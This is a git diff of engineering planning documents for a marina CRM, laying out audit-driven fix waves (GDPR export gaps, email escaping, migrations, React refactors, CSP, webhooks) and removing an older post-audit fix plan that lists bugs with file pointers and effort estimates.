- **archiver 7 → 8** — no `@types/archiver@8` published; skip indefinitely.
|
||||
|
||||
---
|
||||
|
||||
## H. Grand audit cleanup plan (post-deps)
|
||||
|
||||
**Source:** [`docs/AUDIT-2026-05-12.md`](./AUDIT-2026-05-12.md) — 534 findings across 27 domain reports + [`docs/AUDIT-FOLLOWUPS.md`](./AUDIT-FOLLOWUPS.md) + [`docs/AUDIT-TRIAGE.md`](./AUDIT-TRIAGE.md).
|
||||
|
||||
Deps work is complete (sections A-G above). Remaining audit cleanup is grouped into focused waves so it's tackleable a chunk at a time. Each wave has clear scope, file pointers, and acceptance criteria.
|
||||
|
||||
### Wave 1 — Stop-ship CRITICALs (security + data integrity)
|
||||
|
||||
Roughly half-day each; ship in priority order. These are the items from the audit's `## Cross-cutting priority queue` marked `[C]`:
|
||||
|
||||
1. **Real `db:migrate` runner** — `0052_audit_critical_fixes.sql` uses `CREATE INDEX CONCURRENTLY` which silently never runs under `db:push`. Six composite indexes missing in prod. Build a tsx runner that reads migrations in order, splits on `--> statement-breakpoint`, executes outside a tx, tracks state in `__drizzle_migrations`. ~3-4 h. **(data-model C1)**
|
||||
2. **`EMAIL_REDIRECT_TO` production guard** — `src/lib/env.ts` should refine to reject when `NODE_ENV === 'production'`; `src/lib/email/index.ts` should `logger.warn` at boot. 5-min change, prevents a very-bad-day class of incident. **(email C1)**
|
||||
3. **Orphan-blob fix in `handleDocumentCompleted`** — `src/lib/services/documents.service.ts:1100-1253`. Wrap `storage.put + files.insert + documents.update` in a transaction (or saga with compensating delete). Current catch-block leaves blob in storage AND marks `status='completed'` with no `signedFileId`. ~2 h. **(services C2)**
|
||||
4. **Escape URLs in email templates** — every template in `src/lib/email/templates/*` inlines `${data.link}` etc. into `href="…"` and link text without escaping. Add `escapeUrl` helper + http(s) scheme allow-list; route every template through it. ~3 h. **(email C2)**
|
||||
5. **Replace 16 native `window.confirm()` calls** — destructive flows bypassing `ConfirmationDialog` / `AlertDialog`. ui-ux-auditor's C1 lists the sites (cancel signing, delete files, archive interest/company/yacht…). ~30 min per site = full day. **(ui/ux C1)**
|
||||
6. **GDPR Article-15 export completeness** — `src/lib/services/gdpr-bundle-builder.ts` is missing: portal_users, email_threads/messages, document_sends, reminders, files, scratchpadNotes, client_merge_log, contact_log, website_submissions, form_submissions. Regulator-finding-level gap. ~half-day. **(gdpr C1)**
|
||||
7. **Right-to-be-forgotten actually erase** — `src/lib/services/client-hard-delete.service.ts` nullifies FKs but leaves verbatim PII in `email_messages.body_html`, `files`, `document_sends.recipient_email`. Add true-wipe path. ~half-day. **(gdpr C2)**
|
||||
8. **`user_permission_overrides.user_id` FK + `onDelete='set null'`** — data-model H1+H2. Single migration. ~30 min. **(data-model H1+H2)**
|
||||
9. **Resolve-identifier endpoint replacement** — current rate-limited hit still echoes the real canonical email on a successful username hit. Replace with a server-side signIn proxy that takes `{identifier, password}` together and never returns canonical emails at all. ~2 h. **(security/gdpr crossover)**
|
||||
|
||||
### Wave 2 — HIGH-priority security + observability (5-7 days)
|
||||
|
||||
10. **`audit_logs.metadata` PII masking** — extend `maskSensitiveFields` to cover `audit_logs.metadata`; add 90-day retention cron mirroring `error_events`. ~2 h. **(gdpr H)**
|
||||
11. **Webhook → error pipeline** — `src/app/api/webhooks/documenso/route.ts` bypasses `captureErrorEvent` on handler crash. Apply to every webhook route. ~2 h. **(observability H)**
|
||||
12. **Admin email-template subject editor** — 5 of 8 templates ignore `overrides.subject`; admins see "Saved" with zero effect. Wire all 8. ~2 h. **(email H1+H2)**
|
||||
13. **Admin signature/footer fields** — `/admin/email` writes `email_signature_html` + `email_footer_html` which the email shell never reads. Either delete the UI or wire it. ~half-day. **(email H3)**
|
||||
14. **PII redaction in error pipeline** — `error_events.request_body_excerpt` sanitizer redacts password/token but not email/phone/name/dob/address. ~2 h. **(observability H + gdpr)**
|
||||
15. **Notification email worker XSS** — `src/lib/queue/workers/notifications.ts:65-71` interpolates `notif.description` and `notif.link` into HTML unescaped. Apply `escapeHtml` + URL allow-list (the `isomorphic-dompurify` we shipped helps here). ~1 h. **(email H + security)**
|
||||
|
||||
### Wave 3 — React Compiler set-state-in-effect cleanup (~40 sites remaining)
|
||||
|
||||
Remaining `react-hooks/set-state-in-effect` warnings: **40** (was 41; reduced 2026-05-13). Two patterns established this session as templates:
|
||||
|
||||
- **List/load pattern** (`src/components/admin/tags/tag-list.tsx` is the template): `useState([]) + useEffect(fetch+setState)` → `useQuery({ queryKey, queryFn })`. Mutation paths get `useMutation` with `onSuccess: queryClient.invalidateQueries`. ~10 min per site.
|
||||
- **Dialog open→reset pattern** (`src/components/clients/hard-delete-dialog.tsx` is the template; new exemplar: `src/components/documents/move-to-folder-dialog.tsx`): inner `<DialogBody key={id} ... />` mounted only while `open`, so `useState` initializers run naturally on each open without an open→reset useEffect. ~15 min per site.
|
||||
|
||||
Migrate as a focused day's work (~40 × 10-15 min), then promote `react-hooks/set-state-in-effect` from `warn` to `error` in `eslint.config.mjs` to lock in. **NOTE:** Warnings only — no functional regressions; promotion blocked solely until 0 warnings remain.
|
||||
|
||||
### Wave 4 — UI/UX consistency + accessibility (~3-4 days)
|
||||
|
||||
- ✅ **Raw enum render via `.replace(/_/g, ' ')` (40+ sites)** — extracted to `constants.ts` `formatStage`/`formatStatus`/`formatPriority` helpers (audit-wave-4). **(ui/ux H1)**
|
||||
- ✅ **18 list components missing mobile `cardRender`** — Wave 9.4 covered the 5 actual DataTable consumers without `cardRender` (admin/tags, admin/roles, admin/ports, admin/document-templates, admin/custom-fields). **(ui/ux H2)**
|
||||
- ✅ **Berth status pills using ad-hoc Tailwind colors** — swapped to shared `StatusPill` in Wave 9.2. **(ui/ux M1)**
|
||||
- ✅ **UserList "Active"/"Disabled" badge** — aligned to `StatusPill` in Wave 9.2; also `PortList` in Wave 9.4. **(ui/ux M2)**
|
||||
- ✅ **Drawer vs Sheet usage drift** — single offender (`client-interests-tab`) swapped to Sheet; doctrine documented in CLAUDE.md (Wave 9.1). **(ui/ux M11)**
|
||||
- ✅ **Decorative icons missing `aria-hidden`** — Wave 10.4 mechanical sweep added `aria-hidden` to 444 self-closing single-line Lucide icons across 267 .tsx files. **(ui/ux M10)**
|
||||
- ✅ **Hard-coded "border-amber-300 bg-amber-50" callouts (15+ sites)** — `<WarningCallout>` shipped in Wave 4. **(ui/ux L5)**
|
||||
- ✅ **Dashboard route `loading.tsx` coverage** — default `[portSlug]/loading.tsx` plus tailored detail-page skeletons (Wave 9.5). **(ui/ux M3)**
|
||||
|
||||
### Wave 5 — Performance + reliability (~2-3 days)
|
||||
|
||||
- ✅ **Concurrency races** — Wave 10.3 closed the CRITICAL + tractable HIGH items: `handleDocumentCompleted` concurrent-retry TOCTOU via SELECT FOR UPDATE re-check (C-1), `moveFolder` cycle-check race via per-port pg_advisory_xact_lock (H-1), `upsertInterestBerth` 23505 → ConflictError (H-3), username uniqueness 23505 → ConflictError (M-2). Wide-impact items (BullMQ jobId plumbing — C-2) remain deferred. **(concurrency C, H)**
|
||||
- ✅ **Postgres FTS for `search.service.ts`** — migration `0057_search_fts_indexes.sql` shipped in Wave 5. **(audit 36.K.1)**
|
||||
- ✅ **`useEffect → fetch → setState` data-loading** — covered by Wave 3.
|
||||
|
||||
### Wave 6 — Email + Documenso depth (~2-3 days)
|
||||
|
||||
- **Documenso integration depth** (documenso-auditor report) — full v1/v2 audit, recipient signing URL handling, redirect URL per-port, sequential signing flag.
|
||||
- **Email deliverability** (email-auditor report) — subject editor wire-up (Wave 2 #12), signature/footer wire-up (Wave 2 #13), bounce monitoring sanity check, attachment threshold UX.
|
||||
|
||||
### Wave 7 — Reporting + recommender quality (~half-week)
|
||||
|
||||
- **Reporting math correctness** (reporting-auditor) — verify revenue, pipeline funnel, occupancy math against hand-computed truth set.
|
||||
- **Berth recommender quality** (recommender-auditor) — tier ladder edge cases, heat-score weight calibration.
|
||||
|
||||
### Wave 8 — Long tail (whenever)
|
||||
|
||||
- ✅ **PDF + brand asset correctness** (pdf-auditor) — Wave 9.6: wrong-port brand fallback (`'Port Nimara'` → `(port)`/throw), AcroForm field-drift warnings, EOI form flatten, PDF metadata, sha256 pinning of `assets/eoi-template.pdf`, berth-range warning noise. Items C-2/C-3 (tiptap-to-pdfme bugs) were eliminated by the 2026-05-12 PDF stack overhaul.
|
||||
- ✅ **Customer-facing copy + terminology** (copy-auditor) — Wave 9.7: centralized `lib/labels/document-status.ts` (C3), portal `leadCategory` chip removed (C2), `Save Changes` → `Save changes` + `Saving...` → `Saving…` codemod (H1, M3), envelope → signing request (M1), `Linked prospect` → `Linked interest`, `Deal Documents` → `Interest Documents`, `Hot Lead` → `Hot lead` (M5).
|
||||
- ✅ **Onboarding + first-run UX** (onboarding-auditor) — Wave 9.8: fixed wrong setting keys in checklist auto-checks (C1), broken `forms` href (C2), compound gate for Documenso EOI readiness (C3), catch-and-log around `ensureSystemRoots` (C4), fresh-port berth empty state (H5), admin-sections-browser description (M4).
|
||||
- ✅ **Type-safety + drizzle leak audit** (types-auditor) — Wave 10.1: `Tx` type exported (C-1), berth-detail `useQuery<any>` replaced with `BerthDetailData` (C-2), parseBody adopted across 7 portal/public routes (C-3), `toAuditJson<T>` helper removed 21 `as unknown as Record<…>` casts (H-5). Drizzle leak check came back clean (no `$inferSelect` crossing the API boundary).
|
||||
- ✅ **Build + deploy + prod readiness** (build-auditor) — Wave 10.2: socket.io + 6 other native deps added to `serverExternalPackages` + COPY-in-Dockerfile (C-3), `NEXT_PUBLIC_APP_URL` validation (H-2), healthcheck PORT templatization (H-5), `NODE_ENV=production` in builder (M9), image-level HEALTHCHECK (M7). CSP `'unsafe-inline'` (H-1) deferred pending nonce middleware infrastructure.
|
||||
- ✅ **Wave 11 — unaddressed-dossier sweep + cross-cutting infra**:
|
||||
- **BullMQ jobId plumbing** (concurrency C-2): stable per-entity jobIds added across `invoices` (send-invoice, invoice-overdue-notify), `gdpr-export`, `webhook-dispatch`, `expenses`, `webhooks.service`, `notifications`, `inquiry-notifications`, `reports` (generate-report).
|
||||
- **CSP nonce middleware** (build-auditor H-1): per-request nonce in `src/proxy.ts:buildCspWithNonce` with `'self' 'nonce-<n>' 'strict-dynamic'` in prod; `next.config.ts` fallback header kept for static assets / API JSON.
|
||||
- **Error UX** (error-ux-auditor): `apiFetch` synthesizes a client-side correlation id for non-JSON 5xx (C3); `checkRateLimit` fails open on Redis outage so auth doesn't lock (C4); `StorageTimeoutError extends Error` with `name='TimeoutError'` for classifier hints (H2); `errorResponse()` adopted across `/api/storage/[token]`, `/api/public/website-inquiries`, Documenso webhook body cleaned (H5); 17 `toast.error(err.message)` sites swept to `toastError(err, …)` (C2).
|
||||
- **Outbound webhooks** (outbound-webhook-auditor): Stripe-style `HMAC(secret, "${ts}.${body}")` + `X-Webhook-Timestamp` header (C1); dead-letter when secret is null (C3); retry policy `8 attempts × 30s base exponential` (H2); SSRF denylist gains Oracle Cloud `192.0.0.192` (M1); dispatch-time `https://` assertion (M2).
|
||||
- **Storage-pathing** (storage-pathing-auditor): berth-PDF presigned-upload key prefixed with `${portSlug}/` + `portSlug` passed to `presignUpload` (H1); `presignDownloadUrl` infers the slug from the key's first segment when callers don't pass it explicitly — engages the filesystem-proxy port-binding `p` token verifier across every download site (H2).
|
||||
- **Search** (search-auditor): dead `void wantEmail; void wantPhone;` + unused `looksLikeEmail` helper removed (H3).
|
||||
- **Maintainability** (maintainability-auditor M2): swept seven `void <symbol>` abandoned-scaffolding markers and their dead imports across `clients/bulk`, `interests/bulk`, `admin/email-templates`, `admin/website-submissions`, `alert-rules`, and `notes.service`.
|
||||
|
||||
### Wave 11 — explicitly deferred items (revisited 2026-05-13, deferred again)
|
||||
|
||||
Each was flagged by the audit but assessed as not-yet-needed for production correctness. Listed here so future-you doesn't re-research them.
|
||||
|
||||
**Engineering refactors deferred:**
|
||||
|
||||
- **Orphan-blob reaper** (storage-pathing C2, ~4-6h) — `handleDocumentCompleted` already has compensating delete for the only frequent orphan path. Other paths (gdpr-export, backup, etc.) are low-frequency. Revisit when storage costs grow.
|
||||
- **Webhook deliveries reaper** (outbound-webhook C2, ~2-3h) — `webhook_deliveries` table grows unbounded on high-volume events. Zero active webhook subscribers today; revisit when customers actually subscribe.
|
||||
- **DNS-rebind TOCTOU** (outbound-webhook H1, ~2h) — Requires admin AND DNS control on the target host. Defense-in-depth on already-low-risk vector. Revisit before exposing webhooks to external integrators.
|
||||
- **Streaming pass on backup/migrator/email-compose** (storage-pathing H3+H4, ~4-6h) — pg_dump OOM at multi-GB. DB is ~10s of MB today. Revisit when DB grows 100x.
|
||||
- **Webhook circuit-breaker** (outbound-webhook H3, ~3-4h) — Auto-disable webhooks after N consecutive dead-letters. Saturating worker slots requires active webhook subscribers; none today.
|
||||
|
||||
**Mechanical service splits deferred:**
|
||||
|
||||
- `documents.service.ts` split (1982 lines → 4 files, ~3-4h)
|
||||
- `search.service.ts` split (2163 lines → per-bucket files, ~4-6h)
|
||||
- `notes.service.ts` dedup → dispatch table (1121 → ~500 lines, ~3-4h)
|
||||
- `interest-tabs.tsx` split (959 lines → 3 files, ~2-3h)
|
||||
- `expense-pdf.service.ts` split (987 → 3 files, ~2h)
|
||||
- `command-search.tsx` split (1177 → 5 files, ~3-4h)
|
||||
|
||||
Pure code-hygiene work. The files are large but functional. Splitting touches hundreds of imports, risks regression, delivers zero user value. Revisit if/when navigation friction becomes a real bottleneck.
|
||||
|
||||
### How to use this section
|
||||
|
||||
- Pick a wave; pick an item; read the linked audit section for full context.
|
||||
- Each item closes with a commit in the `fix(audit-<wave>): ...` format so it's trivially greppable.
|
||||
- Mark items DONE inline in this section as they ship.
|
||||
- Audit-FOLLOWUPS.md tracks Wave 1-10 from an earlier sweep — items there may already be done or supplanted by AUDIT-2026-05-12.
|
||||
|
||||
Future PDF-related work (carry-over from §A of the PDF overhaul spec):
|
||||
|
||||
- **AcroForm-fill admin-uploaded PDF templates** (~1 week solo): new `pdf_templates` table + admin upload UI + field-mapping editor + generalize `fill-eoi-form.ts` into a reusable `fillAcroForm()` utility. Reinstates the invoice PDF path (and any future customer-facing standardized doc).
|
||||
- **Port brand color tokens** (~2 h): admin sets brand color → flows into the PDF brand kit accent.
|
||||
- **Optical receipt-photo rotation/deskew** (~half day): auto-rotate phone-upload receipts that EXIF misses.
|
||||
|
||||
---
|
||||
|
||||
## J. Activity / timeline copy normalization
|
||||
|
||||
Every "Activity" or "Timeline" surface across the app currently leaks
|
||||
raw schema details — camelCase field names, UUID values, boolean
|
||||
`on`/`off` — straight into the user-visible copy. Real examples seen
|
||||
in production:
|
||||
|
||||
- `Updated owner → mEcsLxo5kyFMyhbOSehxJjYSSD7CiLvv` (user UUID)
|
||||
- `Updated primary berth → a53e3b1d-d589-4f11-9f7b-3b3a3c1ebb8e` (berth UUID)
|
||||
- `Updated primary berth → a53e..., isInEoiBundle → on` (raw camelCase + boolean)
|
||||
|
||||
Two distinct renderers need a single source of truth:
|
||||
|
||||
1. **`InterestTimeline`** (`src/components/interests/interest-timeline.tsx`) reads pre-built `description` strings from `/api/v1/interests/[id]/timeline/route.ts` — see `buildAuditDescription` + `describeUpdateDiff` + `formatDiffValue`. Field-label catalog is partial; FK values are unresolved.
|
||||
2. **`EntityActivityFeed`** (`src/components/shared/entity-activity-feed.tsx`) — used by clients, companies, yachts, berths, residential clients, residential interests. Builds copy client-side via `sentence()` + `formatValueForField`. Catalog is even thinner (only `pipelineStage` / `source` / `leadCategory` / `outcome` get human labels).
|
||||
|
||||
**Plan-of-work:**
|
||||
|
||||
- Build a shared `src/lib/audit/format-audit.ts` with:
|
||||
- `FIELD_LABELS` per entity type (interest, client, company, yacht, berth, residential\_\*) covering every column we actually surface in audits. Today's gaps: `isInEoiBundle`, `isSpecificInterest`, `isPrimary`, `assignedTo`, `currentOwnerType/Id`, `companyId`, `parentCompanyId`, `mooringNumber`, `priceCurrency`, all the `*_at`/date fields beyond the EOI/contract handful.
|
||||
- Value formatter that handles: booleans contextually (e.g. `isInEoiBundle: true` → "added to EOI bundle" / `false` → "removed from EOI bundle"; never `on`/`off`), enums via the `formatEnum`/`STAGE_LABELS`/`OUTCOME_LABELS` helpers in `src/lib/constants.ts`, currency+amount pairs, dates via `formatDate`.
|
||||
- FK resolution: take a `Record<fkField, displayName>` lookup that callers prefill (mooring number for berthId, user name for assignedTo, client name for clientId, etc.) so values render as "→ Anna Schmidt" not "→ mEcs…".
|
||||
- Update `/timeline` (interests) AND the 6 `/activity` route handlers to: (a) collect FK ids per row, (b) batch-resolve in one query per FK type, (c) pass the lookup into the shared formatter. The audit log itself stores IDs — resolution happens at read time so historical entries stay correct even after renames/deletes (in which case fall back to "(deleted yacht)" etc.).
|
||||
- Migrate `EntityActivityFeed` to call the same shared formatter on the row's `fieldChanged` + `oldValue`/`newValue` so the strikethrough+arrow rendering uses the same vocabulary.
|
||||
- Audit-log writes that have meaningful application context but don't fit the column-diff model (e.g. interest-berth flag toggles, EOI bundle membership changes) probably should set `metadata.type` so the formatter can route to a dedicated phrase ("Added berth A12 to EOI bundle", "Made A12 the primary berth") instead of best-effort diffing.
|
||||
|
||||
Acceptance: spot-check the timeline tab on a recently-edited interest, client, yacht, company, and berth. No UUIDs visible; no camelCase field names; no `on`/`off` booleans without context; all enum values render in their human label.
|
||||
|
||||
**Done while scoping (cosmetic fix):**
|
||||
|
||||
- Vertical-connector overshoot in `InterestTimeline` and `EntityActivityFeed` — both renderers used a container-level absolute line that trailed past the last bubble. Replaced with per-item connectors that omit on `isLast`.
|
||||
|
||||
---
|
||||
|
||||
## K. Per-port branded login (multi-tenant UX)
|
||||
|
||||
The login / forgot-password / set-password screens currently show the
|
||||
"first active port" branding via `resolveAuthShellBranding()`, because
|
||||
those surfaces have no portId in the URL. With two unrelated ports
|
||||
(Port Nimara + Port Amador, no umbrella company) this means whichever
|
||||
port was created first wins the login screen for everyone.
|
||||
|
||||
**Recommended path: shared instance, Host-header branding.** Run a
|
||||
wildcard subdomain (`*.crm.example.com`) into the same Next.js app and
|
||||
have middleware derive the active portSlug from the `Host` header.
|
||||
`resolveAuthShellBranding()` then takes an optional host argument and
|
||||
resolves by slug instead of "first port". Switcher becomes a
|
||||
`window.location.assign('https://other-port.crm.example.com/dashboard')`;
|
||||
session cookies are scoped to the parent domain so super-admins don't
|
||||
re-auth when hopping.
|
||||
|
||||
Open work:
|
||||
|
||||
- Wildcard DNS + TLS cert (Cloudflare DNS-01 with `*.crm.example.com`).
|
||||
- Cookie domain change: `pn-crm.session_token` needs `Domain=.example.com`
|
||||
set in better-auth config.
|
||||
- Middleware: read host, resolve portSlug, attach to request headers so
|
||||
the auth-shell branding resolver can use it.
|
||||
- Update `resolveAuthShellBranding()` to prefer host-derived port over
|
||||
"first port" fallback.
|
||||
- Port-switcher UI: dropdown in topbar that lists ports the user has
|
||||
access to and navigates cross-subdomain.
|
||||
- Bootstrap seed: populate `branding_logo_url` / `_email_background_url`
|
||||
/ `_app_name` for the default port so fresh deploys aren't blank.
|
||||
|
||||
Alternative considered: **N instances, one per port.** Cleaner data /
|
||||
deploy isolation but no UX gain over the shared-instance path. Defer
|
||||
unless an operator demands independent migrations or data residency.
|
||||
|
||||
Size: medium (1–2 days incl. cert + cookie work + seed + switcher).
|
||||
|
||||
---
|
||||
|
||||
## I. Dashboard widget wishlist
|
||||
|
||||
User-driven enhancements to the customizable main dashboard
|
||||
(`src/components/dashboard/widget-registry.tsx`). Each entry is a new
|
||||
opt-in tile users can add via the widget picker.
|
||||
|
||||
- **More website-analytics stats cards** — expand the dashboard widget
|
||||
catalogue with additional Umami-backed tiles users can pick from
|
||||
(e.g. unique visitors, avg session duration, bounce rate, top
|
||||
country, top referrer of the day, mobile vs desktop split,
|
||||
pages-per-visit, returning vs new). Today only `WebsiteGlanceTile`
|
||||
exists. Source data already flows through
|
||||
`src/lib/services/umami.service.ts` and `useWebsiteAnalytics`. Each
|
||||
new tile = one `KpiTile`-shaped component + a registry entry. Size:
|
||||
small per tile, scope grows with the catalogue.
|
||||
|
||||
---
|
||||
|
||||
## F. Historical audit docs (mostly resolved)
|
||||
|
||||
These dossiers drove the audit-fix commit waves on 2026-05-05/06. Items
|
||||
not surfaced in §C above were resolved via the `fix(audit): …` commits
|
||||
(`588f8bc`, `94331bd`, `a8c6c07`, `5fc68a5`, `da7ede7`, `c5b41ca`,
|
||||
`b4fb3b2`, `0f648a9`, `c312cd3`, `0a5f085`, `1a87f28`, `f3143d7`,
|
||||
`05babe5`). Keep for historical context:
|
||||
|
||||
- [`audit-comprehensive-2026-05-05.md`](./audit-comprehensive-2026-05-05.md) — pre-merge audit (1 CRIT + 18 HIGH at start)
|
||||
- [`audit-comprehensive-2026-05-06.md`](./audit-comprehensive-2026-05-06.md) — post-merge audit (1 CRIT + 7 HIGH + 10 MED + 7 LOW)
|
||||
- [`audit-frontend-2026-05-06.md`](./audit-frontend-2026-05-06.md) — frontend-only sweep
|
||||
- [`audit-missing-features-2026-05-06.md`](./audit-missing-features-2026-05-06.md) — admin-promised-but-unwired features (V1–V12)
|
||||
- [`audit-permissions-2026-05-06.md`](./audit-permissions-2026-05-06.md) — permission-gate gaps
|
||||
- [`audit-reliability-2026-05-06.md`](./audit-reliability-2026-05-06.md) — transactional integrity / TOCTOU
|
||||
- [`berth-feature-handoff-prompt.md`](./berth-feature-handoff-prompt.md) — berth recommender handoff (shipped, kept as reference)
|
||||
- [`berth-recommender-and-pdf-plan.md`](./berth-recommender-and-pdf-plan.md) — berth recommender + per-berth PDF plan (Phases 0–8 shipped)
|
||||
- [`documenso-integration-audit.md`](./documenso-integration-audit.md) — Documenso integration spec (drives §A)
|
||||
- [`website-refactor.md`](./website-refactor.md) — public website cutover plan
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,305 +0,0 @@
|
||||
# Post-Audit Fix Plan
|
||||
|
||||
Generated 2026-05-14 from two rounds of deep Playwright + API audit on `feat/documents-folders` → `main`.
|
||||
|
||||
**Total findings:** 24 fixes + 1 new feature. Grouped by priority. Each entry has impact, file pointer, and effort estimate.
|
||||
|
||||
---
|
||||
|
||||
## TIER 0 — Already Applied in Working Tree (uncommitted)
|
||||
|
||||
Status: **fixed in code, not yet committed**. Commit + push to ship.
|
||||
|
||||
### F1. `/api/v1/bootstrap/*` proxy allow-list (task #22)
|
||||
|
||||
- **Impact:** Cold-start VPS deploy can't bootstrap its first super-admin. `/setup` page calls `/api/v1/bootstrap/status` which 401s; setup form never renders.
|
||||
- **File:** `src/proxy.ts` — added to `PUBLIC_PATHS`.
|
||||
- **Effort:** XS.
|
||||
|
||||
### F2. Interest detail page 500s on every visit (task #25)
|
||||
|
||||
- **Impact:** Sales workflow non-functional. Raw `Date` passed to postgres-js `sql\`${col} >= ${dateVar}\`` template crashes the Bind step.
|
||||
- **File:** `src/lib/services/interests.service.ts:566` — switched to `gte(col, date)`.
|
||||
- **Effort:** XS.
|
||||
|
||||
---
|
||||
|
||||
## TIER 1 — Pre-Deploy Blockers (P1)
|
||||
|
||||
Ship before any real client touches the system.
|
||||
|
||||
### F3. GDPR export 500s — BullMQ rejects job IDs with colons (task #51)
|
||||
|
||||
- **Impact:** GDPR Article 15 right-to-access non-functional. Legal/compliance gate.
|
||||
- **File:** `src/lib/services/gdpr-export.service.ts:113` — change `jobId: \`gdpr-export:${row.id}\`` → `jobId: \`gdpr-export-${row.id}\``.
|
||||
- **Effort:** XS (one char).
|
||||
|
||||
### F4. Redis eviction policy is `allkeys-lru` but BullMQ requires `noeviction` (companion to F3)
|
||||
|
||||
- **Impact:** Under memory pressure, Redis will evict BullMQ keys; jobs disappear silently.
|
||||
- **File:** production Redis config (`maxmemory-policy noeviction`) + the docker-compose redis service.
|
||||
- **Effort:** XS (config).
|
||||
|
||||
### F5. `deleteBerth()` hard-deletes rows instead of soft-archiving (task #65)
|
||||
|
||||
- **Impact:** Permanent data loss on accidental delete. Junction tables CASCADE-vanish. Audit log points to non-existent rows. Public feed could 404 mid-customer-inquiry.
|
||||
- **Files:**
|
||||
- `src/lib/services/berths.service.ts:673-685` — replace `db.delete()` with `set archivedAt = now(), archivedBy = userId, archiveReason = input.reason`.
|
||||
- Add filter `isNull(berths.archivedAt)` to all default berth queries (recommender, public feed, list, dashboard heat).
|
||||
- Add restore endpoint `POST /api/v1/berths/[id]/restore` mirroring the interests pattern.
|
||||
- Require `reason` (min 5 chars) before destructive call.
|
||||
- **Effort:** M.
|
||||
|
||||
### F6. Weak input validation on `/api/v1/clients` (task #50)
|
||||
|
||||
- **Impact:** Email format not validated (bounces silently); whitespace-only names accepted (blank chips everywhere); XSS payload stored verbatim (depends on every render path being safe).
|
||||
- **Files:**
|
||||
- `src/lib/validators/clients.ts` — add `.email()` refinement on contacts where `channel === 'email'`; trim+min(1) on `fullName`; regex-strip control chars + zero-width chars.
|
||||
- Audit every fullName render path for `dangerouslySetInnerHTML` / pdfme / react-pdf / email template merges and ensure escaping.
|
||||
- Apply similar hardening to yachts, companies, interests, notes, berths, reminders (audit all string fields).
|
||||
- **Effort:** S for the obvious zod tweaks, M for the full audit.
|
||||
|
||||
### F7. No rate limiting on login (task #68)
|
||||
|
||||
- **Impact:** Brute force is wide open. 20 wrong-password attempts in a row all returned 401 with no lockout.
|
||||
- **Files:**
|
||||
- `src/lib/auth/` — add a `rateLimit` block to the better-auth config: `{ window: 60, max: 5 }` per IP+email.
|
||||
- Optionally: Redis sliding window via existing ioredis client.
|
||||
- Optionally: per-user lockout table (`auth_lockouts`) after 5 failures, locked 15min.
|
||||
- **Effort:** S.
|
||||
|
||||
### F8. postgres-js pool corruption causes CONNECT_TIMEOUT (task #46)
|
||||
|
||||
- **Impact:** During the audit the dev server twice entered a stuck state where every query 500'd with `CONNECT_TIMEOUT` while the DB was healthy (1/100 connections used). Production VPS will hit this under load.
|
||||
- **Files:**
|
||||
- `src/lib/db/index.ts` — add `connect_timeout: 5`, `max_lifetime: 60 * 60`, `idle_timeout: 30`.
|
||||
- Wrap critical-path queries in retry-on-CONNECT_TIMEOUT logic (one retry, then 503).
|
||||
- Consider pgbouncer in front of postgres for production multi-process deployments.
|
||||
- **Effort:** S for the postgres-js options, M for full pgbouncer.
|
||||
|
||||
---
|
||||
|
||||
## TIER 2 — High Impact Architectural / UX
|
||||
|
||||
Not strictly deploy-blocking, but each one breaks the UX in observable ways every day.
|
||||
|
||||
### F9. Layout-wide duplicate mobile/desktop DOM rendering (task #26)
|
||||
|
||||
- **Impact:** Single highest leverage UX bug. EVERY page mounts BOTH responsive layouts; both Radix Tabs providers are concurrently active with `data-state="active"`. Half my click attempts on tabs/filters/popovers went to the wrong layer. Doubled network requests, doubled component state, doubled a11y landmarks.
|
||||
- **Files:** the responsive shell (likely `src/components/layout/*-shell.tsx` and detail-page wrappers).
|
||||
- **Fix options:** use `useMediaQuery` to mount only one tree; or hoist `<Tabs>` to a single provider and let both layouts consume context.
|
||||
- **Effort:** L (architectural refactor across multiple pages).
|
||||
|
||||
### F10. Archiving a client doesn't cascade-archive their interests (task #66)
|
||||
|
||||
- **Impact:** Orphan refs. Archived clients have active interests; active queries surface them with broken breadcrumbs / silent 404s on drill-in.
|
||||
- **Files:** `src/lib/services/clients.service.ts:archiveClient()` — wrap in transaction, archive open interests too. OR extend `activeInterestsWhere()` to filter on `client.archived_at IS NULL`.
|
||||
- **Effort:** S.
|
||||
|
||||
---
|
||||
|
||||
## TIER 3 — Standard Fixes (P3)
|
||||
|
||||
UX polish + missing entry points. Each is small, but the sum matters.
|
||||
|
||||
### F11. "Mark as won" dialog still says "moves to Completed" (task #27)
|
||||
|
||||
- **Impact:** Stale copy from before the 7-stage refactor. Misleads users.
|
||||
- **File:** `src/components/interests/won-dialog.tsx` (or similar) — update copy to "marks Won; stage stays at <current>".
|
||||
- **Effort:** XS.
|
||||
|
||||
### F12. Activity feed + tab count concatenation (task #23)
|
||||
|
||||
- **Impact:** "Test Person 1interest", "Interests0", "Click Test Co.company" — unprofessional.
|
||||
- **Files:** `src/components/dashboard/activity-feed.tsx` (entity name + type), every detail-page tab count render. Audit log FTS `search_text` should also include entity names.
|
||||
- **Effort:** S.
|
||||
|
||||
### F13. Bulk-add berths wizard has no UI entry point (task #28)
|
||||
|
||||
- **Impact:** Feature built for new-port setup, but invisible. Operator must know the URL.
|
||||
- **Files:** Add a "Bulk add" button next to "New berth" on `/[portSlug]/berths`. Add link on `/admin` landing card.
|
||||
- **Effort:** S.
|
||||
|
||||
### F14. Audit Log page has no UI entry point (task #49)
|
||||
|
||||
- **Impact:** Feature built, no nav link. Discovery requires URL knowledge.
|
||||
- **Files:** Sidebar Admin section — add "Audit Log" entry under `documents` settings or as its own item, gated by `audit_log.view` permission.
|
||||
- **Effort:** S.
|
||||
|
||||
### F15. New Yacht dialog only lists clients in owner picker (task #44)
|
||||
|
||||
- **Impact:** Data model supports `'client' | 'company'` ownership; UI only lets you pick clients. Cannot create company-owned yacht via UI.
|
||||
- **Files:** `src/components/yachts/new-yacht-dialog.tsx` — add owner-type segmented control (Client / Company) above the owner picker; switch data source.
|
||||
- **Effort:** S.
|
||||
|
||||
### F16. InlineTagEditor "Add tag" focus + create flow (task #45)
|
||||
|
||||
- **Impact:** Typing in the tag widget set the CONTACT LABEL instead. Plus no "Create new tag" affordance for new tag names.
|
||||
- **Files:** `src/components/shared/inline-tag-editor.tsx`. Fix focus target; surface "Create new: X" as a popover item; orchestrate POST /api/v1/tags then PUT .../tags.
|
||||
- **Effort:** S.
|
||||
|
||||
### F17. Cross-port (and 404) detail URLs silently render list shell (task #48)
|
||||
|
||||
